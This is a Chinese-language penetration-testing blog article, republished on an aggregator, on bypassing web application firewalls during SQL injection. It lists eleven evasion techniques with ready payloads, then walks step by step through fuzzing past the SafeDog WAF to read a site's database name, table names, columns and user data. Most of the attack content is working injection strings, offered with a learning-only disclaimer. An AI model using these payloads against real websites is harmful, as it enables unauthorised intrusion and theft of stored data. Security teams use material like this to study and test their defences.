SQL注入绕过WAF的方法,找到了!

admin 2026-04-28 06:27:02 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档系统介绍了SQL注入绕过WAF的实战方法,详细解析了WAF防护机制并提供了11种具体绕过技术,包括大小写变异、编码混淆、注释干扰等。通过安全狗绕过的完整案例演示了fuzz测试流程,从探测注入类型到最终数据提取均包含可操作步骤。文章强调仅供学习交流,禁止非法使用。 综合评分: 75 文章分类: WEB安全,渗透测试,实战经验,安全工具,漏洞分析


cover_image

SQL注入绕过WAF的方法,找到了!

原创

d0ublewei d0ublewei

大伯为安全

2025年11月23日 18:00 湖北

在小说阅读器读本章

去阅读

d0ublewei 来啦!

太忙了,断更许久,很多师傅催更,来一期!

这次我们聊聊SQL注入时遇到WAF该如何绕过?

什么是 WAF

WAF(Web Application Firewall)即 Web 应用防火墙。WAF 会过滤、监视和阻止与 Web 应用程序交互的 HTTP 流量。它与常规防火墙不同,常规防火墙主要用于允许或阻止不同网络区域之间的流量,而 WAF 能够过滤特定 Web 应用程序的内容。通过检查 HTTP 流量,它可以防止源自 Web 应用程序的安全漏洞攻击,例如 SQL 注入、跨站脚本攻击,文件上传和远程命令/代码执行等。

  • 全面检测WEB代码
  • 深入检测 HTTP/HTTPS 流量
  • 强大的特征库

WAF 的分类

软件型 WAF:D 盾、云锁、安全狗等

硬件型 WAF:深信服、绿盟、安恒等

云 WAF:腾讯云、百度云、创宇盾等

网站内置的 WAF:网站系统内置的 WAF 直接镶嵌在代码中,相对来说自由度更高,同时与业务更加契合

WAF 的防护机制

WAF 解析 HTTP 请求,检测 HTTP 请求中的参数是否存在恶意的攻击行为,如果请求中的参数和 WAF 中的规则库所匹配,那么 WAF 则判断此条请求为攻击行为并进行阻断,反之则放行。当然,目前也有很多基于语义分析的 WAF,防护能力更强!如:雷池

常见绕过 WAF 的方法

一是利用一些字符或命令来变换 SQL 注入语句进行混淆从而绕过 WAF 的规则库。

二是利用 WAF 可能存在的 HTTP 协议解析缺陷来绕过 WAF 。

方法1:大小写绕过

部分 WAF 只匹配纯大写或纯小写的字符,对大小写敏感。

union select 可改写为 uNion seLEct

方法2:编码绕过

针对 WAF 过滤的字符通过编码绕过,如 URL 编码、Unicode 编码、十六进制编码等。

union select 1,2,3# 可改写为 union%0aselect 1\u002c2,3%23 # 其中 %0a=空格、\u002c=逗号、%23=井号

selsect * from users where name='admin' 可改写为 selsect * from users where name=0x61646d696 # 其中 0x61646d696 是 admin 的十六进制表达

方法3:注释符干扰

插入注释符(如 /**/、– 1、#)分割 SQL 关键字,绕过正则匹配。

union select 可改写为 un/**/ion sel/**/ect

admin' or 1=1-- 可改写为 admin'/**/or/**/1=1--

方法4:空格变异

对空格进行编码(如 %20、%09、%0a、%0b、%0d、%a0),绕过匹配。

union select 可改写为 union%09select

or 1=1 可改写为 or%0a1=1

方法5:字符串拼接

动态拼接 SQL 关键字,避免直接匹配黑名单。

select 可改写为 concat('sel','ect')

方法6:参数污染

提交多个同名参数,WAF 检测第一个,后端使用最后一个。

?id=1/*&id=2' union select 1,2,3-- */

 WAF 看到 id=1/*&id=2' union select 1,2,3-- */ # 安全
 后端解析 id=2' union... # 注入成功

方法7:缓冲区溢出绕过

超长字符串可能使 WAF 检测模块崩溃或跳过检测。

admin'/*…………………………...[1000+字符]*/and 1=1 --

方法8:非常规协议请求

使用非标准 HTTP 方法或头字段绕过协议校验。

debug /api?q=1' union select 1,2,3 HTTP/1.1

 X-Forwarded-For:127.0.0.1

方法9:等价函数替换

使用功能相同的函数或语法,绕过检测。

 version() 可改写为 @@version

sleep() 可改写为 benchmark()

= 可改写为 like、in、between、>、<

substr() 可改写为 mid()、substring()

方法10:内联注释

利用 MySQL 特有的 /*!xxx*/ 注释,WAF 可能忽略但数据库仍然执行。

union select 可改写为 /*!union*/ select、/*!/*!union*/*/select

or 1=1 可改写为 /*!or*/ 1=1

方法11:善用盲注技巧

使用不同的函数或语法得到相同的结果,绕过检测。

123 and left((select&nbsp;hash&nbsp;from users&nbsp;limit&nbsp;0,1),1)='B'&nbsp;可改写为 strcmp(left((select&nbsp;hash&nbsp;from users&nbsp;limit&nbsp;0,1),1),0x42)+123

方法N……

SQL 注入 WAF 绕过的操作方法

这里我们使用 FUZZ 大法对安全狗进行绕过测试,过程仅供交流学习,请勿用于非法用途,否则后果自负!!!

探测注入类型

输入以下参数进行测试

?id=33 and 1=1

发现被拦截了,但是拦截的关键字未知。

尝试删除 1=1

观察到并未对语句进行拦截,但是有报错(正常现象)。

再加上 1=1 但是不加空格试试

还是被拦截了,这里应该是识别到 and 和 1=1 同时出现,并把它过滤掉。

通过增加特殊字符进行 fuzz,使用 burpsuite 进行抓包后,右键发送至 intruder。在图示位置添加注入点,配置为爆破模式,使用的字符串为 /*!%0a,长度为 3。

?id=33 and/**/1=1

爆破完成后,按照 length 进行排序后,发现存在成功绕过的 payload。

这里确定是数字型注入

同时发现有两个成功的 payload,我们选第一个。

要注意的是如果选择第二个 payload,逻辑会发生变化,在 WAF 端检测就会有区别,导致后续绕过的方法是不同的。

接下来猜表的列数

输入以下参数进行测试

?id=33 order by 15

发现没有拦截

最终发现列数为 15

接下来尝试联合查询

先输入以下参数探测页面回显位置

?id=-33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

被拦截了,然后发现单独用 union、select 不会拦截,用 unionselect 会被拦截。

输入以下参数,继续前面的方法,爆破找到可以绕过的语句。

?id=-33 union/**/select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

这里发现 payload 最大长度为 3 时即可找到需要的语句,任意选一个绕过即可。

查询数据库名字

输入以下参数

?id=-33 union/*a/**/select 1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15

发现有拦截,把括号去掉

依然拦截,所以这里是不能出现 database

继续用 burpsuite 爆破找到绕过 database() 的方法,这里我们采用内联注释包裹 database

?id=-33 union/*a/**/select 1,2,3,4,5,6,7,8,9,10,/*!database*/(),12,13,14,15

成功找到绕过 database() 的方法

查询表名

输入以下参数测试

?id=-33 union/*a/**/select 1,2,3,4,5,6,7,8,9,10,11,12,13,group_concat(table_name),15 from

发现并没有被拦截,但是这样语法是不对的

使用完整语句测试

?id=-33 union/*a/**/select 1,2,3,4,5,6,7,8,9,10,11,12,13,group_concat(table_name),15 from information_schema.tables

被拦截了,删除 from 后面的内容就不拦截了,所以这里是 from 后面不能直接接字符。

经测试,发现和绕过 database() 过滤一样,使用同样的方法即可成功绕过 WAF。

如果同样的方法无法绕过,也可以使用 burpsuite 进行 fuzz。

接下来加入一个 where 语句,输入一个 where 后发现并没有被拦截,直接得到表名信息,完成表的查询。

查询字段名

取 cms_users 表,修改语句,依然没有拦截,查出字段名。

查询表数据

发现单独用 from 或 cms_users 不会拦截,from 后面有内容就会被拦截。

所以和前面一样,这里也是 from 后面不能直接接字符,使用同样的方法即可成功绕过 WAF,提取出表中的数据。

星标、点赞、转发、推荐一键四连,感谢支持

关注公众号,聊天框发送消息”WAF绕过“获取环境和工具

END

往期精彩回顾

墙裂推荐!!一键更换Linux优质的软件源和docker源,要多方便有多方便

frp | 开源内网穿透利器,速速用起来

大闹天宫 | 被安全社区誉为可以“黑掉整个宇宙”的神器-1

Metasploit漏洞利用 | 被安全社区誉为可以“黑掉整个宇宙”的神器-2

Metasploit木马生成 | 被安全社区誉为可以“黑掉整个宇宙”的神器-3

内网渗透 | MSF&FRP | 无法直接访问的目标如何通过搭建代理进一步渗透?

目标网络限制严格CS拿不到权限怎么办?试试这个高级玩法—隧道上线

HVV | 记一次护网Webshell告警分析研判,真真假假

HVV | 记一次护网服务器被攻破的应急响应,有意思

有粉丝问:火绒剑下线了怎么办?注意!有办法但是有风险!

扫码关注

渗透测试

信息安全

安全工具

学习视频戳“阅读原文”一起来充电吧!


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:大伯为安全 d0ublewei d0ublewei《SQL注入绕过WAF的方法,找到了!》

评论:0   参与:  0